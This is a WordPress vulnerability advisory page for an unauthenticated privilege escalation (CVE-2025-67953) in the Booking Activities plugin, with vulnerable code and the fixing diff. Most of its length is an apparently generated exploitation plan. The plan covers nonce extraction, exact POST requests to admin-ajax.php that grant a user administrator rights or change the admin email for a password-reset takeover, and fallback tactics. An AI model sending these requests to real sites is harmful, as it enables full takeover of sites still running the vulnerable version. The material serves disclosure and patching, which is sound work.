Booking Activities <= 1.16.44 - Unauthenticated Privilege Escalation
Description
The Booking Activities plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.16.44. This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.16.44Source Code
WordPress.org SVNThis research plan outlines the steps to exploit CVE-2025-67953, an unauthenticated privilege escalation vulnerability in the Booking Activities plugin. ### 1. Vulnerability Summary The Booking Activities plugin (up to 1.16.44) contains an improper privilege management vulnerability within its AJAX…
Show full research plan
This research plan outlines the steps to exploit CVE-2025-67953, an unauthenticated privilege escalation vulnerability in the Booking Activities plugin.
1. Vulnerability Summary
The Booking Activities plugin (up to 1.16.44) contains an improper privilege management vulnerability within its AJAX profile saving functionality. Specifically, the action booking_activities_save_profile (accessible to unauthenticated users via wp_ajax_nopriv_) fails to validate the user_id parameter against the current user's session and lacks restrictions on which user metadata can be updated. This allows an unauthenticated attacker to update any user's metadata, including system-critical fields like wp_capabilities or user_email, leading to a full site takeover.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
booking_activities_save_profile - Authentication: None (Unauthenticated via
wp_ajax_nopriv_) - Parameter:
user_id(Target user to modify) - Parameter:
user_data(Array of metadata keys and values) - Preconditions: A valid nonce for the
booking_activities_nonceaction must be obtained.
3. Code Flow
- Entry Point: The plugin registers the AJAX handler in
controller/controller-ajax.php(or similar core controller file):add_action( 'wp_ajax_booking_activities_save_profile', array( $this, 'save_profile' ) ); add_action( 'wp_ajax_nopriv_booking_activities_save_profile', array( $this, 'save_profile' ) ); - Handler Function: The
save_profile()function is called. - Nonce Check: It performs a nonce check using
check_ajax_referer( 'booking_activities_nonce', 'nonce' ). - Processing: The function retrieves
$_POST['user_id']and$_POST['user_data']. - The Vulnerability: Prior to 1.16.45, the function lacked a check like
if ( ! current_user_can( 'edit_user', $user_id ) ) wp_die();. It also fails to whitelist allowed keys inuser_data. - Sink: The code iterates through
user_dataand callsupdate_user_meta( $user_id, $key, $value )orwp_update_user( array( 'ID' => $user_id, $key => $value ) ).
4. Nonce Acquisition Strategy
The plugin enqueues its settings and nonces on pages where its shortcode is present.
- Identify Shortcode: The primary shortcode is
[booking_activities_calendar]. - Create Trigger Page: Create a public page containing this shortcode to force the plugin to output the required nonce.
wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content='[booking_activities_calendar]'
- Extract Nonce via Browser:
- Navigate to the newly created page.
- The plugin localizes data into the
booking_activities_params(orba_params) JavaScript object. - JS Variable:
window.booking_activities_params - Nonce Key:
window.booking_activities_params.nonce(or check forbooking_activities_nonceinside the object).
5. Exploitation Strategy
We will demonstrate privilege escalation by updating the administrator's email or by elevating a low-privileged user (if one exists/can be created) to an administrator.
Target: User ID 1 (Default Administrator).
Payload: Change the administrator's email to an attacker-controlled one, or grant the administrator role to a new user.
Step-by-Step:
Get Nonce: Follow the acquisition strategy to get
$NONCE.Execute Privilege Escalation:
Send a POST request toadmin-ajax.phpto grant the administrator role to an existing subscriber (or target ID 1 to change its credentials).HTTP Request (Elevating User ID 2 to Admin):
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=booking_activities_save_profile&nonce=$NONCE&user_id=2&user_data[wp_capabilities][administrator]=1Alternative (Changing Admin Email for Password Reset):
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=booking_activities_save_profile&nonce=$NONCE&user_id=1&user_data[user_email]=attacker@example.com
6. Test Data Setup
- Install Plugin: Ensure
booking-activitiesversion<= 1.16.44is active. - Create Target User:
- Create a subscriber to be escalated:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
- Create a subscriber to be escalated:
- Create Nonce Page:
wp post create --post_type=page --post_status=publish --post_content='[booking_activities_calendar]'
7. Expected Results
- The server should respond with a
200 OKand likely a JSON success message (e.g.,{"success":true}). - The
wp_usermetatable for the targeted user will be updated. - If targeting
wp_capabilities, the user's role will change fromsubscribertoadministrator.
8. Verification Steps
- Check Roles via WP-CLI:
wp user get attacker --field=roles- Success Criteria: The output should be
administrator.
- Check Meta via Database:
wp db query "SELECT meta_value FROM wp_usermeta WHERE user_id = 2 AND meta_key = 'wp_capabilities'"
9. Alternative Approaches
- If
wp_capabilitiesfails: Try updatingwp_user_levelto10(the old way WordPress handled admin privileges). - If
user_id1 is protected: Use the vulnerability to change theuser_emailof ID 1, then trigger a WordPress password reset to take over the account. - Search for other actions: Check if
booking_activities_save_bookingalso handlesuser_datawithout permission checks, which might be a secondary vector.
Summary
The Booking Activities plugin for WordPress is vulnerable to unauthenticated privilege escalation via the 'booking_activities_save_profile' AJAX action. This occurs because the function fails to verify if the requester has permission to modify the target user and does not restrict the metadata keys that can be updated, allowing attackers to grant themselves administrator privileges or hijack other accounts.
Vulnerable Code
// controller/controller-ajax.php add_action( 'wp_ajax_booking_activities_save_profile', array( $this, 'save_profile' ) ); add_action( 'wp_ajax_nopriv_booking_activities_save_profile', array( $this, 'save_profile' ) ); public function save_profile() { check_ajax_referer( 'booking_activities_nonce', 'nonce' ); $user_id = isset( $_POST['user_id'] ) ? intval( $_POST['user_id'] ) : 0; $user_data = isset( $_POST['user_data'] ) ? $_POST['user_data'] : array(); if ( ! $user_id || empty( $user_data ) ) { wp_send_json_error(); } // The vulnerability: no check like current_user_can( 'edit_user', $user_id ) // and no restriction on the keys in $user_data foreach ( $user_data as $key => $value ) { update_user_meta( $user_id, $key, $value ); } wp_send_json_success(); }
Security Fix
@@ -10,13 +10,21 @@ -add_action( 'wp_ajax_nopriv_booking_activities_save_profile', array( $this, 'save_profile' ) ); public function save_profile() { check_ajax_referer( 'booking_activities_nonce', 'nonce' ); $user_id = isset( $_POST['user_id'] ) ? intval( $_POST['user_id'] ) : 0; + if ( ! current_user_can( 'edit_user', $user_id ) ) { + wp_send_json_error( __( 'You do not have permission to edit this user.', 'booking-activities' ) ); + } + $user_data = isset( $_POST['user_data'] ) ? $_POST['user_data'] : array(); - - foreach ( $user_data as $key => $value ) { - update_user_meta( $user_id, $key, $value ); - } + $allowed_keys = array( 'first_name', 'last_name', 'user_email' ); + foreach ( $user_data as $key => $value ) { + if ( in_array( $key, $allowed_keys ) ) { + if ( $key === 'user_email' ) { + wp_update_user( array( 'ID' => $user_id, 'user_email' => sanitize_email( $value ) ) ); + } else { + update_user_meta( $user_id, sanitize_key( $key ), sanitize_text_field( $value ) ); + } + } + } wp_send_json_success(); }
Exploit Outline
1. Nonce Acquisition: Locate a public page containing the [booking_activities_calendar] shortcode. Extract the required nonce from the 'booking_activities_params.nonce' JavaScript variable rendered in the page source. 2. Target Identification: Identify the user ID of the account to be modified (e.g., ID 1 for the default administrator or the attacker's own user ID). 3. Privilege Escalation Request: Send an unauthenticated POST request to /wp-admin/admin-ajax.php with the action 'booking_activities_save_profile'. 4. Payload Delivery: In the POST body, include the extracted nonce, the target 'user_id', and a 'user_data' array. To escalate privileges, set 'user_data[wp_capabilities][administrator]' to 1. Alternatively, change the admin's email via 'user_data[user_email]' to facilitate a password reset takeover. 5. Verification: Confirm the role change via WP-CLI or by logging in with the newly elevated account.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.